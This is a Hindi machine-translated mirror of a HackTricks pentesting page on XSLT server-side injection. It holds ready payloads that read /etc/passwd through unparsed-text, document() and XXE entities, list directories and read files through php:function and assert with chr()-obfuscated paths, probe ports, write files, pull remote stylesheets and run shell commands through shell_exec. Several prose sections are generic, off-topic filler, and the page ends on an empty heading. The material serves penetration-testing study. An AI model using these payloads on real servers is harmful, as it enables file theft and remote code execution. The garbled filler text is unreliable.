mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
482 lines
38 KiB
Markdown
482 lines
38 KiB
Markdown
# XSLT सर्वर साइड इंजेक्शन (एक्सटेंसिबल स्टाइलशीट भाषा परिवर्तन)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* प्राप्त करें [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com)
|
||
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **फॉलो** करें मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **हैकिंग ट्रिक्स साझा करें** [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके।
|
||
|
||
</details>
|
||
|
||
इसका उपयोग XML दस्तावेज़ों को दूसरे प्रकार में परिवर्तित करने के लिए किया जाता है। संस्करण: 1, 2 और 3 (1 सबसे अधिक प्रयोग होता है)।\
|
||
परिवर्तन सर्वर या ब्राउज़र में किया जा सकता है।
|
||
|
||
सबसे अधिक प्रयोग होने वाले फ्रेमवर्क हैं: **Libxslt** (Gnome), **Xalan** (Apache) और **Saxon** (Saxonica)।
|
||
|
||
इस प्रकार की सुरक्षा की कमजोरी का उपयोग करने के लिए आपको सर्वर साइड में xsl टैग संग्रहित करने और फिर उस सामग्री तक पहुंच करने की क्षमता होनी चाहिए। इस प्रकार की सुरक्षा की एक उदाहरण [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/) पर मिल सकता है
|
||
|
||
## उदाहरण - ट्यूटोरियल
|
||
```bash
|
||
sudo apt-get install default-jdk
|
||
sudo apt-get install libsaxonb-java libsaxon-java
|
||
```
|
||
{% code title="xml.xml" %}
|
||
```markup
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<catalog>
|
||
<cd>
|
||
<title>CD Title</title>
|
||
<artist>The artist</artist>
|
||
<company>Da Company</company>
|
||
<price>10000</price>
|
||
<year>1760</year>
|
||
</cd>
|
||
</catalog>
|
||
```
|
||
{% code title="xsl.xsl" %}
|
||
```markup
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
<html>
|
||
<body>
|
||
<h2>The Super title</h2>
|
||
<table border="1">
|
||
<tr bgcolor="#9acd32">
|
||
<th>Title</th>
|
||
<th>artist</th>
|
||
</tr>
|
||
<tr>
|
||
<td><xsl:value-of select="catalog/cd/title"/></td>
|
||
<td><xsl:value-of select="catalog/cd/artist"/></td>
|
||
</tr>
|
||
</table>
|
||
</body>
|
||
</html>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
{% endcode %}
|
||
|
||
चलाएं:
|
||
```markup
|
||
$ saxonb-xslt -xsl:xsl.xsl xml.xml
|
||
|
||
Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
|
||
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
|
||
<html>
|
||
<body>
|
||
<h2>The Super title</h2>
|
||
<table border="1">
|
||
<tr bgcolor="#9acd32">
|
||
<th>Title</th>
|
||
<th>artist</th>
|
||
</tr>
|
||
<tr>
|
||
<td>CD Title</td>
|
||
<td>The artist</td>
|
||
</tr>
|
||
</table>
|
||
</body>
|
||
</html>
|
||
```
|
||
### फिंगरप्रिंट
|
||
|
||
{% code title="detection.xsl" %}
|
||
```markup
|
||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
|
||
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
|
||
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
|
||
<xsl:if test="system-property('xsl:product-name')">
|
||
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:product-version')">
|
||
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:is-schema-aware')">
|
||
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:supports-serialization')">
|
||
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
|
||
/><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
|
||
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
|
||
/><br />
|
||
</xsl:if>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
{% endcode %}
|
||
|
||
और क्रियान्वय करें
|
||
```markup
|
||
$saxonb-xslt -xsl:detection.xsl xml.xml
|
||
|
||
Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
|
||
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
|
||
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
|
||
```
|
||
### स्थानीय फ़ाइल पढ़ें
|
||
|
||
{% code title="read.xsl" %}
|
||
```markup
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
{% endcode %}
|
||
```markup
|
||
$ saxonb-xslt -xsl:read.xsl xml.xml
|
||
|
||
Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
|
||
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
|
||
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
|
||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||
sync:x:4:65534:sync:/bin:/bin/sync
|
||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||
```
|
||
SSRF (Server Side Request Forgery) एक वेब अपवाद है जिसमें एक हमलावर वेब सर्वर को धोखा देता है और उसे अनुरोध करता है कि वह अन्य आंतरिक संसाधनों तक पहुंचें। यह आमतौर पर एक अनुरोध के रूप में URL का उपयोग करके किया जाता है, जिसे वेब सर्वर निर्धारित करता है। SSRF अटैक के द्वारा, हमलावर वेब सर्वर आंतरिक संसाधनों तक पहुंच कर सार्वजनिक और निजी नेटवर्कों को संसाधित कर सकता है, जिससे उसे अनुभव और अनुरोध कर सकता है।
|
||
|
||
SSRF अटैक के लिए कई तकनीकें हो सकती हैं, जैसे कि URL पैरामीटर, फ़ाइल प्रोटोकॉल, डीएनएस लुकअप, एचटीटीपी अनुरोध आदि। SSRF अटैक के द्वारा, हमलावर वेब सर्वर आंतरिक संसाधनों को अनुरोध कर सकता है, जैसे कि डेटाबेस, फ़ाइल सिस्टम, अन्य सर्वर, और नेटवर्क संसाधन।
|
||
|
||
SSRF अटैक को रोकने के लिए कुछ सुरक्षा उपाय हैं, जैसे कि इनपुट सत्यापन, वेब सर्वर कॉन्फ़िगरेशन, नेटवर्क सेग्रेगेशन, और अनुरोधों की सीमाएं सेट करना। SSRF अटैक की पहचान करने के लिए लॉग रिकॉर्डिंग और विश्लेषण भी महत्वपूर्ण हैं।
|
||
```markup
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
|
||
<xsl:include href="http://127.0.0.1:8000/xslt"/>
|
||
<xsl:template match="/">
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
### संस्करण
|
||
|
||
इस्तेमाल की गई XSLT संस्करण के आधार पर अधिक या कम फ़ंक्शन हो सकते हैं:
|
||
|
||
* [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
|
||
* [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
|
||
* [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)
|
||
|
||
## फिंगरप्रिंट
|
||
|
||
इसे अपलोड करें और जानकारी लें
|
||
```markup
|
||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
|
||
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
|
||
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
|
||
<xsl:if test="system-property('xsl:product-name')">
|
||
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:product-version')">
|
||
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:is-schema-aware')">
|
||
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:supports-serialization')">
|
||
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
|
||
/><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
|
||
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
|
||
/><br />
|
||
</xsl:if>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
## SSRF
|
||
|
||
SSRF (Server-Side Request Forgery) एक वेब अद्यतन तकनीक है जिसमें हम एक अनुरोध को बनाते हैं जो सर्वर के बाहरी संसाधनों को पहुंचने की कोशिश करता है। इसका उपयोग अनुरोध करने के लिए वेब सर्वर के आंतरिक नेटवर्क में संसाधनों को पहुंचने के लिए किया जाता है। SSRF आक्रमणों के लिए एक बहुत ही प्रभावी तकनीक है, क्योंकि इससे हम आंतरिक नेटवर्क में स्थानीय संसाधनों और सेवाओं को अनुरोध कर सकते हैं जिन्हें सार्वजनिक नहीं किया जा सकता है।
|
||
|
||
SSRF आक्रमण के लिए विभिन्न तकनीकों का उपयोग किया जा सकता है, जैसे कि URL अनुरोध, DNS अनुरोध, FTP अनुरोध, आदि। SSRF आक्रमण के द्वारा हम अनुरोध कर सकते हैं जैसे कि वेब सर्वर के आंतरिक नेटवर्क में स्थानीय फ़ाइलों को पढ़ना, डेटाबेस संचालित करना, आंतरिक सेवाओं को अनुरोध करना, आदि।
|
||
|
||
SSRF आक्रमण को रोकने के लिए कुछ सुरक्षा उपाय हैं, जैसे कि इनपुट सत्यापन, अनुरोध की सीमा निर्धारण, नेटवर्क फ़ायरवॉल नियमों का उपयोग, आदि। SSRF आक्रमण के खिलाफ सुरक्षा के लिए इन उपायों का उपयोग करना अत्यंत महत्वपूर्ण है।
|
||
```markup
|
||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
|
||
</esi:include>
|
||
```
|
||
## जावास्क्रिप्ट इंजेक्शन
|
||
|
||
Javascript इंजेक्शन एक वेब अनुप्रयोग में सुरक्षा कमजोरी हो सकती है जहां अनुप्रयोग द्वारा उपयोगकर्ता द्वारा प्रदान किए गए इनपुट को सत्यापित नहीं किया जाता है। इसका परिणामस्वरूप, हम जावास्क्रिप्ट कोड को अनुप्रयोग में संशोधित करके अनुप्रयोग के संदेशों, डेटा और विज्ञापनों को प्रभावित कर सकते हैं। इसका उपयोगकर्ता द्वारा दिए गए इनपुट को अवरोधित करने, उपयोगकर्ता के ब्राउज़र में कुछ कार्रवाई करने या उपयोगकर्ता के गोपनीय डेटा को चोरी करने के लिए उपयोग किया जा सकता है।
|
||
|
||
जावास्क्रिप्ट इंजेक्शन के लिए कुछ उपयोगी तकनीकें शामिल हैं:
|
||
|
||
- **इंजेक्शन प्वाइंट्स की खोज**: इंजेक्शन प्वाइंट्स की खोज करने के लिए अनुप्रयोग के संदेशों, फ़ॉर्मों, पैरामीटरों और कुकीज़ की जांच करें।
|
||
- **इंजेक्शन प्रकार की पहचान**: इंजेक्शन प्रकार की पहचान करने के लिए जावास्क्रिप्ट कोड के अंदर अद्यतित या अवैध इनपुट की खोज करें।
|
||
- **इंजेक्शन को उपयोग करने के लिए जावास्क्रिप्ट कोड लिखें**: इंजेक्शन को उपयोग करने के लिए जावास्क्रिप्ट कोड लिखें जो अनुप्रयोग के संदेशों, डेटा और विज्ञापनों को प्रभावित करेगा।
|
||
- **इंजेक्शन के परिणाम की जांच**: इंजेक्शन के परिणाम की जांच करने के लिए उपयोगकर्ता के ब्राउज़र में जावास्क्रिप्ट कोड का निष्पादन करें और उपयोगकर्ता के द्वारा दिए गए इनपुट के परिणाम को देखें।
|
||
|
||
जावास्क्रिप्ट इंजेक्शन एक सामान्य वेब अनुप्रयोग में पाया जा सकता है, इसलिए यह अत्यंत महत्वपूर्ण है कि वेब अनुप्रयोगों को सुरक्षित रखने के लिए उच्च सुरक्षा मानकों का पालन किया जाए।
|
||
```markup
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
<script>confirm("We're good");</script>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
## डायरेक्टरी सूची (PHP)
|
||
|
||
### **Opendir + readdir**
|
||
```markup
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
</xsl:template></xsl:stylesheet>
|
||
```
|
||
### **Assert (var\_dump + scandir + false)**
|
||
|
||
यह एक एक्सएसएलटी सर्वर साइड इंजेक्शन तकनीक है जिसमें var\_dump और scandir फंक्शन का उपयोग किया जाता है। इस तकनीक का उपयोग करके हम एक फ़ाइल सिस्टम के अंदर के फ़ाइलों और निर्देशिकाओं की सूची प्राप्त कर सकते हैं। इसके लिए हम एक एक्सएसएलटी ट्रांसफ़ॉर्मेशन फ़ाइल (XSLT) बनाते हैं जिसमें हम विशेष फ़ंक्शन को अधिकृत करते हैं। इस तकनीक का उपयोग करके हम वेब एप्लिकेशन के सर्वर साइड पर अनुमति प्राप्त कर सकते हैं और फ़ाइलों और निर्देशिकाओं की सूची को लीक कर सकते हैं।
|
||
```markup
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
||
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
|
||
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
|
||
<br />
|
||
</body>
|
||
</html>
|
||
```
|
||
## फ़ाइलें पढ़ें
|
||
|
||
### **आंतरिक - PHP**
|
||
```markup
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
### **आंतरिक - XXE**
|
||
|
||
XXE (XML External Entity) एक सुरक्षा गड़बड़ी है जो XML पार्सिंग प्रोसेस में होती है। इस गड़बड़ी के माध्यम से, हम एक अतिरिक्त एंटिटी या बाहरी संसाधन को XML दस्तावेज़ में सम्मिलित कर सकते हैं। यह हमें अनुमति देता है कि हम बाहरी संसाधनों को पढ़ सकें, जैसे कि फ़ाइलें, डेटाबेस के डेटा, और नेटवर्क संदेश।
|
||
|
||
एक XXE हमले के लिए, हमें एक अविश्वसनीय XML दस्तावेज़ को भेजना होता है जिसमें हम एक बाहरी संसाधन को संदर्भित करते हैं। इसके परिणामस्वरूप, हम बाहरी संसाधन के सामग्री को प्राप्त कर सकते हैं और उसे अपनी इच्छानुसार उपयोग कर सकते हैं।
|
||
|
||
एक XXE हमले के लिए, हमें निम्नलिखित चरणों का पालन करना होता है:
|
||
|
||
1. एक अविश्वसनीय XML दस्तावेज़ तैयार करें जिसमें हम बाहरी संसाधन को संदर्भित करना चाहते हैं।
|
||
2. इस XML दस्तावेज़ को अनुरोध के रूप में भेजें और उसे पार्स करने के लिए सर्वर को प्रेरित करें।
|
||
3. जब सर्वर XML दस्तावेज़ को पार्स करता है, वह बाहरी संसाधन को संदर्भित करता है और उसकी सामग्री को प्राप्त करता है।
|
||
4. हम बाहरी संसाधन के सामग्री का उपयोग करते हैं और उसे अपनी इच्छानुसार उपयोग करते हैं।
|
||
|
||
XXE हमलों को रोकने के लिए, निम्नलिखित उपायों का पालन करें:
|
||
|
||
- सुरक्षा अद्यतनों को लागू करें जो XML पार्सिंग को सुरक्षित बनाते हैं।
|
||
- अविश्वसनीय और अनावश्यक XML एंटिटी को अक्षम करें।
|
||
- बाहरी संसाधनों के संदर्भ को प्रतिबंधित करें या सीमित करें।
|
||
- संदर्भित किए जाने वाले संसाधनों की सत्यापना करें और केवल विश्वसनीय संसाधनों को स्वीकार करें।
|
||
|
||
यदि आप एक पेंटेस्टर हैं, तो आप XXE हमलों को खोजने और उन्हें ठीक करने के लिए अपनी वेब ऐप्लिकेशन को परीक्षण कर सकते हैं।
|
||
```markup
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
&ext_file;
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
### **HTTP के माध्यम से**
|
||
```markup
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="document('/etc/passwd')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
|
||
```markup
|
||
<!DOCTYPE xsl:stylesheet [
|
||
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
|
||
<xsl:template match="/">
|
||
&passwd;
|
||
</xsl:template>
|
||
```
|
||
### **आंतरिक (PHP-कार्य)**
|
||
```markup
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
|
||
```markup
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
||
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
|
||
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
|
||
<br />
|
||
</body>
|
||
</html>
|
||
```
|
||
### पोर्ट स्कैन
|
||
|
||
पोर्ट स्कैन करने के लिए आप निम्नलिखित टूल्स का उपयोग कर सकते हैं:
|
||
|
||
- Nmap: यह एक शक्तिशाली और लोकप्रिय पोर्ट स्कैनिंग टूल है जो विभिन्न प्रोटोकॉलों के लिए उपयोग किया जा सकता है। आप इसका उपयोग करके निर्दिष्ट IP पते या नेटवर्क के लिए पोर्ट स्कैन कर सकते हैं।
|
||
|
||
- Masscan: यह एक तेज़ पोर्ट स्कैनिंग टूल है जो बड़े नेटवर्कों के लिए उपयोगी हो सकता है। यह TCP और UDP पोर्टों को स्कैन करने की क्षमता रखता है और आपको विस्तृत जानकारी प्रदान करता है।
|
||
|
||
- Zmap: यह एक तेज़ और असिंक्रोनस पोर्ट स्कैनिंग टूल है जो इंटरनेट पर विशाल स्कैन करने के लिए उपयोगी हो सकता है। यह TCP और UDP पोर्टों को स्कैन करने की क्षमता रखता है और आपको विस्तृत जानकारी प्रदान करता है।
|
||
|
||
आप इन टूल्स का उपयोग करके निर्दिष्ट IP पते या नेटवर्क के लिए पोर्ट स्कैन कर सकते हैं और खुले पोर्टों की सूची प्राप्त कर सकते हैं।
|
||
```markup
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="document('http://example.com:22')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
## फ़ाइल में लिखें
|
||
|
||
### XSLT 2.0
|
||
|
||
XSLT 2.0 में, आप एक फ़ाइल में लिखने के लिए निम्नलिखित तरीके का उपयोग कर सकते हैं:
|
||
|
||
```xml
|
||
<xsl:result-document href="file:///path/to/file.txt">
|
||
<xsl:text>यहाँ आप अपना पाठ लिखें</xsl:text>
|
||
</xsl:result-document>
|
||
```
|
||
|
||
यहाँ, `href` विशेषता फ़ाइल का पथ निर्दिष्ट करती है जहाँ आप अपना पाठ लिखना चाहते हैं। आप इसे अपनी आवश्यकतानुसार संशोधित कर सकते हैं।
|
||
|
||
उदाहरण के लिए, यदि आप फ़ाइल `output.txt` में लिखना चाहते हैं, तो आप निम्नलिखित कोड का उपयोग कर सकते हैं:
|
||
|
||
```xml
|
||
<xsl:result-document href="file:///path/to/output.txt">
|
||
<xsl:text>यहाँ आप अपना पाठ लिखें</xsl:text>
|
||
</xsl:result-document>
|
||
```
|
||
|
||
ध्यान दें कि आपको फ़ाइल को लिखने के लिए उचित अनुमतियाँ होनी चाहिए। आपको भी ध्यान देना चाहिए कि आपका XSLT प्रोसेसर फ़ाइल लिखने की अनुमति देता है।
|
||
```markup
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:result-document href="local_file.txt">
|
||
<xsl:text>Write Local File</xsl:text>
|
||
</xsl:result-document>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
### **Xalan-J एक्सटेंशन**
|
||
|
||
Xalan-J एक जावा आधारित XSLT (Extensible Stylesheet Language Transformations) प्रोसेसर है जो XML दस्तावेज़ों को प्रसंस्करण करने के लिए उपयोग होता है। Xalan-J एक्सटेंशन एक विशेषता है जो XSLT स्टाइलशीट में जोड़ी जा सकती है और इसे विशेष तरीके से प्रोसेस कर सकती है। यह एक प्रभावी टूल है जो वेब अनुप्रयोगों के विभिन्न घातकताओं को खोजने और उन्हें उपयोग करके अनुप्रयोगों में दुरुपयोग करने की क्षमता प्रदान करता है।
|
||
|
||
एक Xalan-J एक्सटेंशन का उपयोग करके, हैकर एक अद्यतित XSLT स्टाइलशीट को अपलोड कर सकता है और उसे वेब अनुप्रयोग में प्रोसेस करने के लिए उपयोग कर सकता है। इसके द्वारा, हैकर वेब अनुप्रयोग के सर्वर-साइड प्रोसेसिंग को प्रभावित कर सकता है और अनुप्रयोग के साथ विभिन्न आक्रमणों को कार्यान्वित कर सकता है। इस तकनीक का उपयोग करके, हैकर अनुप्रयोग के साथ अनुचित तरीके से संचालन कर सकता है, डेटा को चोरी कर सकता है, और अन्य अवैध कार्रवाई कर सकता है।
|
||
|
||
एक Xalan-J एक्सटेंशन का उपयोग करने के लिए, हैकर को एक अद्यतित XSLT स्टाइलशीट तैयार करनी होगी जिसमें विशेषताएं शामिल होंगी जो उपयोगकर्ता द्वारा निर्दिष्ट नहीं होंगी। फिर, हैकर को इस स्टाइलशीट को वेब अनुप्रयोग में अपलोड करना होगा और उसे प्रोसेस करने के लिए उपयोग करना होगा। इस तरीके से, हैकर वेब अनुप्रयोग के सर्वर-साइड प्रोसेसिंग को प्रभावित कर सकता है और अनुप्रयोग के साथ विभिन्न आक्रमणों को कार्यान्वित कर सकता है।
|
||
```markup
|
||
<xsl:template match="/">
|
||
<redirect:open file="local_file.txt"/>
|
||
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
|
||
<redirect:close file="loxal_file.txt"/>
|
||
</xsl:template>
|
||
```
|
||
एक्सएसएलटी में बाहरी फ़ाइलें शामिल करें
|
||
```markup
|
||
<xsl:include href="http://extenal.web/external.xsl"/>
|
||
```
|
||
|
||
```markup
|
||
<?xml version="1.0" ?>
|
||
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
|
||
```
|
||
## कोड को निष्पादित करें
|
||
|
||
### **php:function**
|
||
```markup
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0"
|
||
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
|
||
xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
|
||
```markup
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
||
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
|
||
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
|
||
<br />
|
||
</body>
|
||
</html>
|
||
```
|
||
अन्य फ्रेमवर्क का उपयोग करके कोड को पीडीएफ में निष्पादित करें
|
||
|
||
### **अधिक भाषाएँ**
|
||
|
||
**इस पृष्ठ पर आप अन्य भाषाओं में RCE के उदाहरण ढूंढ सकते हैं:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, जावा, PHP)**
|
||
|
||
## **कक्षाओं से PHP स्थिर फ़ंक्शनों तक पहुंचें**
|
||
|
||
निम्नलिखित फ़ंक्शन कक्षा XSL के स्थिर विधि `stringToUrl` को बुलाएगा:
|
||
```markup
|
||
<!--- More complex test to call php class function-->
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
|
||
version="1.0">
|
||
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
|
||
<xsl:template match="root">
|
||
<html>
|
||
<!-- We use the php suffix to call the static class function stringToUrl() -->
|
||
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
|
||
<!-- Output: 'une_superstring ao modifier' -->
|
||
</html>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
(उदाहरण [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls) से)
|
||
|
||
## **ब्रूट-फोर्स डिटेक्शन सूची**
|
||
|
||
